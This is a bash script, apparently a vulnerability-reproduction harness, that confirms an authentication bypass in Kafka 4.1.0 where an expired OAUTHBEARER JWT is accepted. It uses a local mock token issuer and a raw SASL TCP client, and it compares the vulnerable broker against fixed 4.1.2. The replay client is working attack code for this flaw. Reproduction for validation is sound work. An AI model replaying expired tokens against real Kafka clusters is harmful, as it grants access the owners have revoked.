#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"

cd "$ROOT"
exec > >(tee "$LOGS/reproduction_steps.log") 2>&1

SCALA_VERSION="2.13"
VULN_VERSION="4.1.0"
FIXED_VERSION="4.1.2"
FIX_COMMIT="01d8e7db8d08dbd538892b409457ea6bfcc2a422"
RUN_ID="$(date -u +%Y%m%dT%H%M%SZ)-$$"
WORKDIR="$ARTIFACTS/kafka-oauth-repro-$RUN_ID"
mkdir -p "$WORKDIR"

FINAL_MANIFEST_WRITTEN=0
SERVICE_STARTED=false
HEALTHCHECK_PASSED=false
TARGET_PATH_REACHED=false
CONFIRMED=false

write_runtime_manifest() {
    local notes="$1"
    python3 - "$REPRO_DIR/runtime_manifest.json" "$SERVICE_STARTED" "$HEALTHCHECK_PASSED" "$TARGET_PATH_REACHED" "$notes" <<'PY'
import json, sys
out, service, health, target, notes = sys.argv[1:]
manifest = {
  "entrypoint_kind": "tcp_peer",
  "entrypoint_detail": "Kafka broker SASL/OAUTHBEARER authentication over a real TCP listener using raw Kafka SaslHandshake/SaslAuthenticate frames",
  "service_started": service == "true",
  "healthcheck_passed": health == "true",
  "target_path_reached": target == "true",
  "runtime_stack": ["apache-kafka-4.1.0-broker", "apache-kafka-4.1.2-broker", "raw-kafka-sasl-tcp-client", "mock-jwks-oauth-issuer"],
  "proof_artifacts": [
    "logs/reproduction_steps.log",
    "logs/evidence.log",
    "logs/raw_vulnerable_expired.json",
    "logs/raw_vulnerable_valid.json",
    "logs/raw_fixed_expired.json",
    "logs/raw_fixed_valid.json",
    "logs/broker_vulnerable.log",
    "logs/broker_fixed.log",
    "logs/mock_oauth_server.log",
    "logs/javap_defaultjwtvalidator_4.1.0.txt",
    "logs/javap_defaultjwtvalidator_4.1.2.txt"
  ],
  "notes": notes
}
with open(out, "w") as f:
    json.dump(manifest, f, indent=2)
PY
    FINAL_MANIFEST_WRITTEN=1
}

cleanup() {
    set +e
    for pidfile in "$WORKDIR"/*.pid; do
        [ -f "$pidfile" ] || continue
        pid="$(cat "$pidfile" 2>/dev/null)"
        [ -n "$pid" ] && kill -9 "$pid" 2>/dev/null || true
    done
    if [ "$FINAL_MANIFEST_WRITTEN" != "1" ]; then
        write_runtime_manifest "Attempt exited before final verdict; see logs/reproduction_steps.log for failure details."
    fi
}
trap cleanup EXIT

fail_infra() {
    echo "INFRASTRUCTURE FAILURE: $*"
    SERVICE_STARTED=${SERVICE_STARTED:-false}
    HEALTHCHECK_PASSED=${HEALTHCHECK_PASSED:-false}
    TARGET_PATH_REACHED=${TARGET_PATH_REACHED:-false}
    write_runtime_manifest "Infrastructure failure: $*"
    python3 - "$REPRO_DIR/validation_verdict.json" "$*" <<'PY'
import json, sys
out, reason = sys.argv[1], sys.argv[2]
verdict = {
  "claim_outcome": "unknown",
  "claim_block_reason": "infra_failure",
  "repro_result": "infrastructure_failed",
  "validated_surface": "network_protocol",
  "evidence_scope": "production_path",
  "claimed_impact_class": "authz_bypass",
  "observed_impact_class": "none",
  "exploitability_confidence": "unknown",
  "attacker_controlled_input": "previously issued Kafka session JWT with expired exp claim",
  "trigger_path": "Kafka SASL/OAUTHBEARER authentication over TCP",
  "end_to_end_target_reached": False,
  "sanitizer_used": False,
  "crash_observed": False,
  "read_write_primitive_observed": False,
  "exploit_chain_demonstrated": False,
  "blocking_mitigation": reason,
  "inferred": False
}
with open(out, "w") as f:
    json.dump(verdict, f, indent=2)
PY
    exit 2
}

get_project_cache_dir() {
    if [ -f "$ROOT/project_cache_context.json" ]; then
        python3 - "$ROOT/project_cache_context.json" <<'PY'
import json, sys, os
try:
    d=json.load(open(sys.argv[1]))
    p=d.get("project_cache_dir", "") if d.get("prepared") else ""
    if p:
        os.makedirs(p, exist_ok=True)
        print(p)
except Exception:
    pass
PY
    fi
}

PROJECT_CACHE_DIR="$(get_project_cache_dir || true)"
if [ -z "$PROJECT_CACHE_DIR" ]; then
    PROJECT_CACHE_DIR="$ARTIFACTS/kafka-cache"
    mkdir -p "$PROJECT_CACHE_DIR"
fi

printf '\n=== Kafka SASL/OAUTHBEARER expired JWT replay reproduction ===\n'
echo "Vulnerable Kafka version: $VULN_VERSION"
echo "Fixed Kafka version:      $FIXED_VERSION"
echo "Fix commit:               $FIX_COMMIT"
echo "Project cache dir:        $PROJECT_CACHE_DIR"
echo "Work dir:                 $WORKDIR"

printf '\n[1/8] Checking/installing dependencies...\n'
if ! command -v java >/dev/null 2>&1 || ! command -v javap >/dev/null 2>&1; then
    sudo apt-get update
    sudo apt-get install -y openjdk-17-jdk-headless
fi
java -version 2>&1 | head -1
javap -version 2>&1 | head -1 || true
python3 -m pip install -q PyJWT cryptography
python3 - <<'PY'
import jwt, cryptography
print("Python JWT dependencies: OK")
PY

printf '\n[2/8] Preparing Kafka binary distributions...\n'
download_kafka() {
    local version="$1"
    local tgz="$PROJECT_CACHE_DIR/kafka_${SCALA_VERSION}-${version}.tgz"
    local home="$PROJECT_CACHE_DIR/kafka_${SCALA_VERSION}-${version}"
    if [ ! -d "$home" ]; then
        if [ ! -f "$tgz" ]; then
            echo "Downloading Kafka $version from Apache archive..."
            curl -fL --retry 3 --connect-timeout 20 -o "$tgz" "https://archive.apache.org/dist/kafka/${version}/kafka_${SCALA_VERSION}-${version}.tgz"
        fi
        echo "Extracting Kafka $version..."
        tar xzf "$tgz" -C "$PROJECT_CACHE_DIR"
    fi
    [ -x "$home/bin/kafka-server-start.sh" ] || fail_infra "Kafka $version binary is missing or incomplete at $home"
    echo "Kafka $version ready at $home"
}
download_kafka "$VULN_VERSION"
download_kafka "$FIXED_VERSION"
VULN_HOME="$PROJECT_CACHE_DIR/kafka_${SCALA_VERSION}-${VULN_VERSION}"
FIXED_HOME="$PROJECT_CACHE_DIR/kafka_${SCALA_VERSION}-${FIXED_VERSION}"

printf '\n[3/8] Capturing fix comparison from shipped Kafka classes...\n'
javap -classpath "$VULN_HOME/libs/kafka-clients-${VULN_VERSION}.jar" -c org.apache.kafka.common.security.oauthbearer.DefaultJwtValidator > "$LOGS/javap_defaultjwtvalidator_${VULN_VERSION}.txt" 2>&1 || true
javap -classpath "$FIXED_HOME/libs/kafka-clients-${FIXED_VERSION}.jar" -c org.apache.kafka.common.security.oauthbearer.DefaultJwtValidator > "$LOGS/javap_defaultjwtvalidator_${FIXED_VERSION}.txt" 2>&1 || true
if grep -q "sasl.oauthbearer.jwks.endpoint.url" "$LOGS/javap_defaultjwtvalidator_${FIXED_VERSION}.txt" && ! grep -q "sasl.oauthbearer.jwks.endpoint.url" "$LOGS/javap_defaultjwtvalidator_${VULN_VERSION}.txt"; then
    echo "Fix comparison: 4.1.2 DefaultJwtValidator branches on jwks.endpoint.url; 4.1.0 does not."
else
    echo "Warning: javap fix comparison did not match the expected string pattern; runtime test will still proceed."
fi

free_port() {
    python3 - <<'PY'
import socket
s=socket.socket(); s.bind(('127.0.0.1',0)); print(s.getsockname()[1]); s.close()
PY
}
MOCK_PORT="$(free_port)"
MOCK_URL="http://127.0.0.1:${MOCK_PORT}"
ALLOWED_URLS="${MOCK_URL}/jwks,${MOCK_URL}/token"

printf '\n[4/8] Starting mock OAuth/JWKS issuer on %s...\n' "$MOCK_URL"
cat > "$WORKDIR/mock_oauth_server.py" <<'PY'
#!/usr/bin/env python3
import base64, json, os, time
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import parse_qs
from cryptography.hazmat.primitives.asymmetric import rsa
import jwt
KID = "pruva-mock-key-1"
ISSUER = "https://mock-idp.example.com"
AUDIENCE = "kafka-broker"
PORT = int(os.environ["MOCK_PORT"])
LOGFILE = os.environ["MOCK_LOG"]
_pk = rsa.generate_private_key(public_exponent=65537, key_size=2048)
_pub = _pk.public_key().public_numbers()
def b64u(n):
    return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8, "big")).rstrip(b"=").decode()
JWKS = {"keys": [{"kty": "RSA", "kid": KID, "use": "sig", "alg": "RS256", "n": b64u(_pub.n), "e": b64u(_pub.e)}]}
def log(msg):
    with open(LOGFILE, "a") as f:
        f.write(msg + "\n")
    print(msg, flush=True)
def make_jwt(expired):
    now = int(time.time())
    payload = {
        "sub": "replayed-user",
        "preferred_username": "replayed-user",
        "iss": ISSUER,
        "aud": AUDIENCE,
        "iat": now - 7200,
        "exp": now - 3600 if expired else now + 3600,
        "scope": "kafka-cluster"
    }
    return jwt.encode(payload, _pk, algorithm="RS256", headers={"kid": KID})
class Handler(BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        log("HTTP %s - %s" % (self.address_string(), fmt % args))
    def do_GET(self):
        if self.path.startswith("/jwks"):
            body = json.dumps(JWKS).encode()
            self.send_response(200); self.send_header("Content-Type", "application/json"); self.send_header("Content-Length", str(len(body))); self.end_headers(); self.wfile.write(body)
            log("JWKS served")
        elif self.path.startswith("/expired-token") or self.path.startswith("/valid-token"):
            expired = self.path.startswith("/expired-token")
            token = make_jwt(expired)
            body = token.encode()
            self.send_response(200); self.send_header("Content-Type", "text/plain"); self.send_header("Content-Length", str(len(body))); self.end_headers(); self.wfile.write(body)
            claims = jwt.decode(token, options={"verify_signature": False})
            log(("EXPIRED_TOKEN " if expired else "VALID_TOKEN ") + json.dumps({"claims": claims, "token": token}))
        else:
            self.send_response(404); self.end_headers()
    def do_POST(self):
        if not self.path.startswith("/token"):
            self.send_response(404); self.end_headers(); return
        length = int(self.headers.get("Content-Length", "0"))
        data = self.rfile.read(length).decode() if length else ""
        client_id = parse_qs(data).get("client_id", [""])[0]
        expired = "expired" in client_id
        token = make_jwt(expired)
        body = json.dumps({"access_token": token, "token_type": "Bearer", "expires_in": 3600, "scope": "kafka-cluster"}).encode()
        self.send_response(200); self.send_header("Content-Type", "application/json"); self.send_header("Content-Length", str(len(body))); self.end_headers(); self.wfile.write(body)
        claims = jwt.decode(token, options={"verify_signature": False})
        log(("EXPIRED_TOKEN_POST " if expired else "VALID_TOKEN_POST ") + json.dumps({"client_id": client_id, "claims": claims, "token": token}))
open(LOGFILE, "w").close()
log("Mock OAuth/JWKS issuer listening on 127.0.0.1:%d" % PORT)
HTTPServer(("127.0.0.1", PORT), Handler).serve_forever()
PY
MOCK_LOG="$LOGS/mock_oauth_server.log" MOCK_PORT="$MOCK_PORT" python3 "$WORKDIR/mock_oauth_server.py" > "$LOGS/mock_oauth_server.stdout" 2>&1 &
echo $! > "$WORKDIR/mock_oauth_server.pid"
for i in $(seq 1 20); do
    if python3 - "$MOCK_PORT" <<'PY' 2>/dev/null
import socket, sys
s=socket.create_connection(("127.0.0.1", int(sys.argv[1])), 1); s.close()
PY
    then break; fi
    sleep 0.5
    [ "$i" -lt 20 ] || fail_infra "Mock OAuth/JWKS issuer did not start"
done
curl -fsS "$MOCK_URL/expired-token" > "$WORKDIR/expired.jwt"
curl -fsS "$MOCK_URL/valid-token" > "$WORKDIR/valid.jwt"
python3 - "$WORKDIR/expired.jwt" "$WORKDIR/valid.jwt" | tee "$LOGS/token_claims.log" <<'PY'
PY
python3 - "$WORKDIR/expired.jwt" "$WORKDIR/valid.jwt" <<'PY' | tee "$LOGS/token_claims.log"
import json, sys, time, jwt
now = int(time.time())
for label, path in [("expired", sys.argv[1]), ("valid", sys.argv[2])]:
    token = open(path).read().strip()
    claims = jwt.decode(token, options={"verify_signature": False})
    print(json.dumps({"label": label, "now": now, "expired_at_replay": claims["exp"] < now, "seconds_since_exp": now - claims["exp"], "claims": claims}, indent=2))
PY

printf '\n[5/8] Writing raw Kafka SASL/OAUTHBEARER TCP client...\n'
cat > "$WORKDIR/raw_kafka_oauth_client.py" <<'PY'
#!/usr/bin/env python3
import argparse, binascii, json, socket, struct, sys, time, jwt
ap = argparse.ArgumentParser()
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, required=True)
ap.add_argument("--token-file", required=True)
ap.add_argument("--out", required=True)
ap.add_argument("--label", required=True)
args = ap.parse_args()
token = open(args.token_file).read().strip()
claims = jwt.decode(token, options={"verify_signature": False})
replay_time = int(time.time())
def sstr(x):
    b=x.encode(); return struct.pack(">h", len(b)) + b
def bbytes(b):
    return struct.pack(">i", len(b)) + b
def send(sock, api_key, version, corr, body):
    # Kafka request header v1 (non-flexible): api_key, api_version, correlation_id, client_id, body
    req = struct.pack(">hhI", api_key, version, corr) + sstr("raw-pruva") + body
    sock.sendall(struct.pack(">i", len(req)) + req)
def rec(sock):
    hdr = sock.recv(4)
    if len(hdr) < 4:
        raise EOFError("short size header / broker closed connection")
    size = struct.unpack(">i", hdr)[0]
    data = b""
    while len(data) < size:
        chunk = sock.recv(size-len(data))
        if not chunk:
            raise EOFError("broker closed connection while reading response")
        data += chunk
    return data
def parse_sasl_authenticate_response(data):
    p = 0
    result = {"raw_hex": binascii.hexlify(data).decode()}
    result["correlation_id"] = struct.unpack_from(">i", data, p)[0]; p += 4
    result["error_code"] = struct.unpack_from(">h", data, p)[0]; p += 2
    msg_len = struct.unpack_from(">h", data, p)[0]; p += 2
    if msg_len < 0:
        result["error_message"] = None
    else:
        result["error_message"] = data[p:p+msg_len].decode(errors="replace"); p += msg_len
    auth_len = struct.unpack_from(">i", data, p)[0]; p += 4
    if auth_len < 0:
        auth_bytes = b""
    else:
        auth_bytes = data[p:p+auth_len]; p += auth_len
    result["auth_bytes_len"] = max(auth_len, 0)
    result["auth_bytes_utf8"] = auth_bytes.decode(errors="replace")
    result["session_lifetime_ms"] = struct.unpack_from(">q", data, p)[0] if len(data) >= p + 8 else None
    return result
result = {"label": args.label, "host": args.host, "port": args.port, "replay_time": replay_time, "jwt_claims": claims, "jwt_expired_at_replay": claims.get("exp", 0) < replay_time, "accepted_by_broker": False, "rejected_by_broker": False}
try:
    with socket.create_connection((args.host, args.port), timeout=10) as sock:
        sock.settimeout(10)
        # Api key 17 = SaslHandshake, v1. Body: mechanism string.
        send(sock, 17, 1, 1, sstr("OAUTHBEARER"))
        handshake = rec(sock)
        result["sasl_handshake_raw_hex"] = binascii.hexlify(handshake).decode()
        p = 0
        result["sasl_handshake_correlation_id"] = struct.unpack_from(">i", handshake, p)[0]; p += 4
        result["sasl_handshake_error_code"] = struct.unpack_from(">h", handshake, p)[0]; p += 2
        mech_count = struct.unpack_from(">i", handshake, p)[0]; p += 4
        mechs = []
        for _ in range(mech_count):
            n = struct.unpack_from(">h", handshake, p)[0]; p += 2
            mechs.append(handshake[p:p+n].decode()); p += n
        result["mechanisms"] = mechs
        # RFC 7628 OAUTHBEARER initial client response: n,,\x01auth=Bearer <token>\x01\x01
        auth = b"n,," + b"\x01" + ("auth=Bearer " + token).encode() + b"\x01\x01"
        send(sock, 36, 1, 2, bbytes(auth))
        first = rec(sock)
        first_parsed = parse_sasl_authenticate_response(first)
        result["sasl_authenticate_first_response"] = first_parsed
        auth_payload = (first_parsed.get("auth_bytes_utf8") or "") + " " + (first_parsed.get("error_message") or "")
        if first_parsed.get("error_code") == 0 and first_parsed.get("auth_bytes_len") == 0:
            result["accepted_by_broker"] = True
        if first_parsed.get("error_code") not in (0, None) or "invalid_token" in auth_payload:
            result["rejected_by_broker"] = True
        # If the OAuth server returned an error challenge, send the required 0x01 acknowledgement
        # to force Kafka to emit the final SASL_AUTHENTICATION_FAILED response and log the failure.
        if first_parsed.get("auth_bytes_len", 0) > 0:
            send(sock, 36, 1, 3, bbytes(b"\x01"))
            try:
                final = rec(sock)
                final_parsed = parse_sasl_authenticate_response(final)
                result["sasl_authenticate_final_response"] = final_parsed
                final_payload = (final_parsed.get("auth_bytes_utf8") or "") + " " + (final_parsed.get("error_message") or "")
                if final_parsed.get("error_code") not in (0, None) or "invalid_token" in final_payload:
                    result["rejected_by_broker"] = True
            except Exception as e:
                result["final_ack_exception"] = repr(e)
except Exception as e:
    result["exception"] = repr(e)
with open(args.out, "w") as f:
    json.dump(result, f, indent=2)
print(json.dumps(result, indent=2))
PY

run_broker_attempt() {
    local label="$1"
    local version="$2"
    local home="$3"
    local broker_port="$4"
    local controller_port="$5"
    local data_dir="$WORKDIR/data_${label}"
    local props="$WORKDIR/broker_${label}.properties"
    local jaas="$WORKDIR/kafka_server_${label}_jaas.conf"
    local broker_log="$LOGS/broker_${label}.log"
    rm -rf "$data_dir"
    mkdir -p "$data_dir"
    cat > "$props" <<EOF
process.roles=broker,controller
node.id=0
controller.quorum.voters=0@127.0.0.1:${controller_port}
listeners=SASL_PLAINTEXT://127.0.0.1:${broker_port},CONTROLLER://127.0.0.1:${controller_port}
inter.broker.listener.name=SASL_PLAINTEXT
controller.listener.names=CONTROLLER
listener.security.protocol.map=SASL_PLAINTEXT:SASL_PLAINTEXT,CONTROLLER:PLAINTEXT
sasl.enabled.mechanisms=OAUTHBEARER
sasl.mechanism.inter.broker.protocol=OAUTHBEARER
log.dirs=${data_dir}
num.partitions=1
offsets.topic.replication.factor=1
transaction.state.log.replication.factor=1
transaction.state.log.min.isr=1
auto.create.topics.enable=true
advertised.listeners=SASL_PLAINTEXT://127.0.0.1:${broker_port}

# Real broker-side SASL/OAUTHBEARER validator callback handler.
listener.name.sasl_plaintext.oauthbearer.sasl.server.callback.handler.class=org.apache.kafka.common.security.oauthbearer.OAuthBearerValidatorCallbackHandler
# The JWKS endpoint is configured. Kafka 4.1.0's DefaultJwtValidator ignores this and delegates to ClientJwtValidator;
# Kafka 4.1.2's DefaultJwtValidator uses BrokerJwtValidator because this is present.
listener.name.sasl_plaintext.oauthbearer.sasl.oauthbearer.jwks.endpoint.url=${MOCK_URL}/jwks
sasl.oauthbearer.expected.issuer=https://mock-idp.example.com
sasl.oauthbearer.expected.audience=kafka-broker

# Do NOT set sasl.oauthbearer.jwt.validator.class. The test is specifically for the default broker validator.

# Inter-broker login uses a valid token so broker startup is not blocked by the replay token.
listener.name.sasl_plaintext.oauthbearer.sasl.login.callback.handler.class=org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginCallbackHandler
sasl.oauthbearer.token.endpoint.url=${MOCK_URL}/token
sasl.oauthbearer.client.credentials.client.id=valid-broker
sasl.oauthbearer.client.credentials.client.secret=broker-secret
EOF
    cat > "$jaas" <<'EOF'
KafkaServer {
    org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule Required;
};
EOF
    local cluster_id
    cluster_id="$($home/bin/kafka-storage.sh random-uuid)"
    echo "Formatting Kafka $version ($label) storage with cluster id $cluster_id"
    KAFKA_OPTS="-Djava.security.auth.login.config=$jaas -Dorg.apache.kafka.sasl.oauthbearer.allowed.urls=$ALLOWED_URLS" \
        "$home/bin/kafka-storage.sh" format --config "$props" --cluster-id "$cluster_id" > "$LOGS/storage_${label}.log" 2>&1 || {
            cat "$LOGS/storage_${label}.log"; fail_infra "Kafka $version storage format failed";
        }
    echo "Starting Kafka $version ($label) broker on 127.0.0.1:${broker_port}"
    KAFKA_OPTS="-Djava.security.auth.login.config=$jaas -Dorg.apache.kafka.sasl.oauthbearer.allowed.urls=$ALLOWED_URLS" \
        nohup "$home/bin/kafka-server-start.sh" "$props" > "$broker_log" 2>&1 &
    local pid=$!
    echo "$pid" > "$WORKDIR/broker_${label}.pid"
    SERVICE_STARTED=true
    local ready=false
    for i in $(seq 1 80); do
        if ! kill -0 "$pid" 2>/dev/null; then
            tail -80 "$broker_log" || true
            fail_infra "Kafka $version ($label) broker exited before readiness"
        fi
        if python3 - "$broker_port" <<'PY' 2>/dev/null
import socket, sys
s=socket.create_connection(("127.0.0.1", int(sys.argv[1])), 1); s.close()
PY
        then
            if grep -q "Kafka Server started" "$broker_log" 2>/dev/null; then
                ready=true
                break
            fi
        fi
        sleep 1
    done
    [ "$ready" = true ] || { tail -100 "$broker_log" || true; fail_infra "Kafka $version ($label) did not become ready"; }
    HEALTHCHECK_PASSED=true
    echo "Kafka $version ($label) broker is ready. Running raw TCP SASL replay tests."
    python3 "$WORKDIR/raw_kafka_oauth_client.py" --port "$broker_port" --token-file "$WORKDIR/valid.jwt" --out "$LOGS/raw_${label}_valid.json" --label "${label}_valid"
    python3 "$WORKDIR/raw_kafka_oauth_client.py" --port "$broker_port" --token-file "$WORKDIR/expired.jwt" --out "$LOGS/raw_${label}_expired.json" --label "${label}_expired"
    TARGET_PATH_REACHED=true
    kill -9 "$pid" 2>/dev/null || true
    rm -f "$WORKDIR/broker_${label}.pid"
    sleep 2
}

printf '\n[6/8] Running vulnerable broker attempt (Kafka %s)...\n' "$VULN_VERSION"
VULN_BROKER_PORT="$(free_port)"
VULN_CONTROLLER_PORT="$(free_port)"
run_broker_attempt "vulnerable" "$VULN_VERSION" "$VULN_HOME" "$VULN_BROKER_PORT" "$VULN_CONTROLLER_PORT"

printf '\n[7/8] Running fixed broker negative control (Kafka %s)...\n' "$FIXED_VERSION"
FIXED_BROKER_PORT="$(free_port)"
FIXED_CONTROLLER_PORT="$(free_port)"
run_broker_attempt "fixed" "$FIXED_VERSION" "$FIXED_HOME" "$FIXED_BROKER_PORT" "$FIXED_CONTROLLER_PORT"

printf '\n[8/8] Evaluating vulnerable-vs-fixed divergence and writing evidence...\n'
python3 - "$LOGS" "$REPRO_DIR" "$VULN_VERSION" "$FIXED_VERSION" "$FIX_COMMIT" <<'PY'
import json, os, sys, time
logs, repro, vuln_version, fixed_version, fix_commit = sys.argv[1:]
def load(name):
    with open(os.path.join(logs, name)) as f:
        return json.load(f)
ve = load("raw_vulnerable_expired.json")
vv = load("raw_vulnerable_valid.json")
fe = load("raw_fixed_expired.json")
fv = load("raw_fixed_valid.json")
confirmed = bool(ve.get("accepted_by_broker") and fe.get("rejected_by_broker") and vv.get("accepted_by_broker") and fv.get("accepted_by_broker"))
for obj in (ve, vv, fe, fv):
    assert "jwt_claims" in obj, "raw client did not reach JWT replay path"
summary = {
    "confirmed": confirmed,
    "vulnerable_expired_accepted": ve.get("accepted_by_broker"),
    "fixed_expired_rejected": fe.get("rejected_by_broker"),
    "vulnerable_valid_accepted": vv.get("accepted_by_broker"),
    "fixed_valid_accepted": fv.get("accepted_by_broker"),
    "expired_claims": ve.get("jwt_claims"),
    "expired_replay_time": ve.get("replay_time")
}
with open(os.path.join(logs, "evidence.log"), "w") as out:
    out.write("=== EVIDENCE: Kafka SASL/OAUTHBEARER expired JWT replay ===\n")
    out.write("Date (UTC): %s\n" % time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()))
    out.write("Vulnerable version: Kafka %s\n" % vuln_version)
    out.write("Fixed version: Kafka %s\n" % fixed_version)
    out.write("Fix commit: %s\n\n" % fix_commit)
    out.write("=== Summary JSON ===\n%s\n\n" % json.dumps(summary, indent=2))
    out.write("=== Vulnerable expired raw response ===\n%s\n\n" % json.dumps(ve, indent=2))
    out.write("=== Fixed expired raw response ===\n%s\n\n" % json.dumps(fe, indent=2))
    out.write("=== Vulnerable valid control ===\n%s\n\n" % json.dumps(vv, indent=2))
    out.write("=== Fixed valid control ===\n%s\n\n" % json.dumps(fv, indent=2))
    out.write("=== Fixed broker expiration rejection excerpts ===\n")
    try:
        lines = open(os.path.join(logs, "broker_fixed.log"), errors="replace").read().splitlines()
        for line in lines:
            if "no longer valid" in line or "invalid_token" in line or "BrokerJwtValidator" in line or "Could not validate the access token" in line:
                out.write(line + "\n")
    except FileNotFoundError:
        pass
    out.write("\n=== Vulnerable broker class/path evidence excerpts ===\n")
    try:
        lines = open(os.path.join(logs, "javap_defaultjwtvalidator_4.1.0.txt"), errors="replace").read().splitlines()
        for line in lines[:120]:
            if "ClientJwtValidator" in line or "BrokerJwtValidator" in line or "jwks.endpoint" in line:
                out.write(line + "\n")
    except FileNotFoundError:
        pass
verdict = {
  "claim_outcome": "confirmed" if confirmed else "unknown",
  "claim_block_reason": None if confirmed else "unknown",
  "repro_result": "confirmed" if confirmed else "inconclusive",
  "validated_surface": "network_protocol",
  "evidence_scope": "production_path",
  "claimed_impact_class": "authz_bypass",
  "observed_impact_class": "authz_bypass" if confirmed else "none",
  "exploitability_confidence": "high" if confirmed else "unknown",
  "attacker_controlled_input": "expired JWT replayed directly in Kafka SASL/OAUTHBEARER initial client response",
  "trigger_path": "TCP connection to Kafka broker -> SaslHandshake(OAUTHBEARER) -> SaslAuthenticate(auth=Bearer <expired JWT>) -> OAuthBearerValidatorCallbackHandler -> DefaultJwtValidator",
  "end_to_end_target_reached": True,
  "sanitizer_used": False,
  "crash_observed": False,
  "read_write_primitive_observed": False,
  "exploit_chain_demonstrated": bool(confirmed),
  "blocking_mitigation": None if confirmed else "Expected vulnerable-vs-fixed divergence was not observed",
  "inferred": False
}
with open(os.path.join(repro, "validation_verdict.json"), "w") as f:
    json.dump(verdict, f, indent=2)
with open(os.path.join(repro, "result_summary.json"), "w") as f:
    json.dump(summary, f, indent=2)
print(json.dumps(summary, indent=2))
PY

if python3 - "$REPRO_DIR/result_summary.json" <<'PY'
import json, sys
s=json.load(open(sys.argv[1]))
raise SystemExit(0 if s.get("confirmed") else 1)
PY
then
    CONFIRMED=true
    SERVICE_STARTED=true
    HEALTHCHECK_PASSED=true
    TARGET_PATH_REACHED=true
    write_runtime_manifest "Confirmed: Kafka ${VULN_VERSION} accepted the expired JWT over the real SASL TCP broker boundary; Kafka ${FIXED_VERSION} rejected the same replayed JWT with invalid_token/expiration validation evidence."
    echo "VERDICT: CONFIRMED. Vulnerable broker accepted expired JWT; fixed broker rejected it."
    exit 0
else
    CONFIRMED=false
    write_runtime_manifest "Not confirmed: expected vulnerable-vs-fixed expired JWT replay divergence was not observed."
    echo "VERDICT: NOT CONFIRMED. See $LOGS/evidence.log"
    exit 1
fi